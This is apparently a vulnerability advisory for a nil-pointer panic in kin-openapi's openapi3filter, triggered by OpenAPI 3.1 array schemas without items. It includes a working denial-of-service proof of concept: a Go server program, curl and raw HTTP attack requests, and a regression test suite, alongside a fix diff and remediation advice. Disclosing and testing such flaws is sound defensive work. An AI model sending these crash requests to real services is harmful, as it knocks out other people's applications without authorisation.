CVE-2026-97394: kin-openapi: Nil-pointer dereference panic in openapi3filter for OpenAPI 3.1 array schemas missing items
Summary
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
go case propType.Is("array"): items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger | |---|---|---| | MultipartBodyDecoder | reqrespdecoder.go ~1564 → 1579 | multipart/form-data part named like the array property | | parseArray → parsePrimitive | reqrespdecoder.go ~1129 / 1151 | Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
diff case propType.Is("array"): + if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil { + return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName) + } items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:
yaml openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}
2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
go package main
import ( "fmt" "log" "net/http" "strings"
"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )
const spec = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}
func main() { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(spec)) if err != nil { log.Fatal(err) } if err := doc.Validate(loader.Context); err != nil { log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err) } fmt.Println("SPECACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value. Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc) if err != nil { log.Fatal(err) }
// Direct call (no net/http recover): proves the library itself panics. req, := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pp, := router.FindRoute(req) func() { defer func() { if r := recover(); r != nil { fmt.Printf("DIRECTPANIC: %v\n", r) } }() = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pp, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) fmt.Println("DIRECTPANIC: none (unexpected)") }()
mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { route, pathParams, err := router.FindRoute(r) if err != nil { http.Error(w, err.Error(), http.StatusNotFound) return } err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) , = w.Write([]byte("ok\n")) })
addr := "127.0.0.1:8085" fmt.Printf("listening on http://%s/f\n", addr) fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f") log.Fatal(http.ListenAndServe(addr, mux)) }
3. Observed output (go run .):
SPECACCEPTED; Items == <nil> DIRECTPANIC: runtime error: invalid memory address or nil pointer dereference listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference … openapi3filter.UrlencodedBodyDecoder …/reqrespdecoder.go:1421 … openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at reqrespdecoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1 Host: victim Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite — save as e.g. openapi3filter/arrayitemsnilpanictest.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
go package openapi3filtertest
import ( "bytes" "context" "fmt" "io" "mime/multipart" "net/http" "net/http/httptest" "strings" "testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3" "github.com/getkin/kin-openapi/openapi3filter" "github.com/getkin/kin-openapi/routers/gorillamux" )
const urlencodedSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}
const urlencodedSpec30 = openapi: 3.0.3 info: {title: t, version: 1.0.0} paths: /f: post: requestBody: required: true content: application/x-www-form-urlencoded: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}
const multipartSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /upload: post: requestBody: required: true content: multipart/form-data: schema: type: object properties: tags: {type: array} responses: '200': {description: ok}
const responseHeaderSpec31 = openapi: 3.1.0 info: {title: t, version: 1.0.0} paths: /hdr: get: responses: '200': description: ok headers: X-Tags: schema: {type: array}
func catchPanic(fn func()) (panicValue any) { defer func() { panicValue = recover() }() fn() return nil }
func TestArrayItemsNilPanicOpenAPI31Accepts(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content. Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value require.True(t, schema.Type.Is("array")) require.Nil(t, schema.Items) }
func TestArrayItemsNilPanicOpenAPI30Rejects(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec30)) require.NoError(t, err) require.Error(t, doc.Validate(loader.Context)) }
func TestArrayItemsNilPanicUrlencodedValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err)
got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }
func TestArrayItemsNilPanicMultipartValidateRequest(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(multipartSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)
var buf bytes.Buffer w := multipart.NewWriter(&buf) require.NoError(t, w.WriteField("tags", "a")) require.NoError(t, w.Close())
req, err := http.NewRequest(http.MethodPost, "/upload", &buf) require.NoError(t, err) req.Header.Set("Content-Type", w.FormDataContentType()) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)
got := catchPanic(func() { = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }
func TestArrayItemsNilPanicResponseHeaderValidateResponse(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(responseHeaderSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)
req, err := http.NewRequest(http.MethodGet, "/hdr", nil) require.NoError(t, err) route, pathParams, err := router.FindRoute(req) require.NoError(t, err)
got := catchPanic(func() { = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{ RequestValidationInput: &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }, Status: http.StatusOK, Header: http.Header{"X-Tags": []string{"a,b"}}, Body: io.NopCloser(strings.NewReader("")), }) }) require.NotNil(t, got) require.Contains(t, fmt.Sprint(got), "nil pointer dereference") }
func TestArrayItemsNilPanicE2EHTTPServer(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)
var panicCount int mux := http.NewServeMux() mux.HandleFunc("/f", func(w http.ResponseWriter, r http.Request) { defer func() { if recover() != nil { panicCount++ http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError) } }() route, pathParams, err := router.FindRoute(r) require.NoError(t, err) err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{ Request: r, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } w.WriteHeader(http.StatusOK) })
srv := httptest.NewServer(mux) t.Cleanup(srv.Close)
const n = 5 for i := 0; i < n; i++ { resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a")) require.NoError(t, err) , = io.ReadAll(resp.Body) = resp.Body.Close() require.Equal(t, http.StatusInternalServerError, resp.StatusCode) } require.Equal(t, n, panicCount) }
func TestArrayItemsNilPanicDeterministic(t testing.T) { loader := openapi3.NewLoader() doc, err := loader.LoadFromData([]byte(urlencodedSpec31)) require.NoError(t, err) require.NoError(t, doc.Validate(loader.Context)) router, err := gorillamux.NewRouter(doc) require.NoError(t, err)
const attempts = 50 panics := 0 for i := 0; i < attempts; i++ { req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x")) require.NoError(t, err) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") route, pathParams, err := router.FindRoute(req) require.NoError(t, err) if catchPanic(func() { = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{ Request: req, PathParams: pathParams, Route: route, Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc}, }) }) != nil { panics++ } } require.Equal(t, attempts, panics) }
Observed results on the vulnerable tree:
- 3.1 accepts the schema (Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with nil pointer dereference - 50/50 panic rate (100% deterministic) - E2E httptest server: 5/5 POSTs panic inside ValidateRequest → HTTP 500
Impact
- Type: NULL Pointer Dereference → unauthenticated remote denial of service. - Who is impacted: applications using github.com/getkin/kin-openapi/openapi3filter to validate requests/responses against OpenAPI 3.1 documents that contain an items-less type: array in a urlencoded or multipart body property, or an array-typed response header (or other parseArray surfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded — doc.Validate() does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body. - Consequence: deterministic panic on every request to the operation. With stock net/http, the server logs http: panic serving and aborts the connection; without per-request recover (common outside pure net/http handlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing items); JSON request bodies (different decoder path that does not hit this Items.Value inspection).
Other sources
kin-openapi is a Go project for handling OpenAPI files. From 0.136.0 until 0.143.0, openapi3filter accepts OpenAPI 3.1 array schemas without an items keyword and then dereferences the nil Schema.Items value while decoding application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and other array parameter surfaces. A remote unauthenticated client can reach an affected operation with a nonempty request or matching response and deterministically trigger a nil-pointer panic during ValidateRequest or ValidateResponse. OpenAPI 3.0 documents are not affected because document validation rejects arrays without items, and JSON request bodies use a different decoder path. This issue is fixed in version 0.143.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/getkin/kin-openapito a version that resolves this vulnerability.Fixed in 0.143.0 - Upgrade
Upgrade
github.com/getkin/kin-openapito a version that resolves this vulnerability.Fixed in 0.143.0
Event History
Frequently Asked Questions
Which deployments are exposed to this denial-of-service condition?
Deployments using kin-openapi versions 0.136.0 through before 0.143.0 are exposed when they process an OpenAPI 3.1 document containing an array schema without an items keyword on an affected decoding surface. OpenAPI 3.0 documents are not affected.
What does an attacker need to trigger the panic?
A remote unauthenticated client must be able to reach an affected operation and send a nonempty request body or parameter that reaches the vulnerable array decoding path. Matching responses can also trigger the issue during ValidateResponse.
Are JSON request bodies affected?
No. JSON request bodies use a different decoder path and are not affected by this issue.
What should be done if upgrading is not immediately possible?
Remove or correct OpenAPI 3.1 array schemas that omit the items keyword, and avoid the affected form-data, URL-encoded, header, and other array parameter decoding surfaces where possible. Upgrade to version 0.143.0 when feasible.
How can I identify potentially affected API definitions?
Review OpenAPI 3.1 documents used with affected kin-openapi versions for array schemas that lack an items keyword. Prioritize schemas used by application/x-www-form-urlencoded or multipart/form-data request bodies, response headers, and array parameters.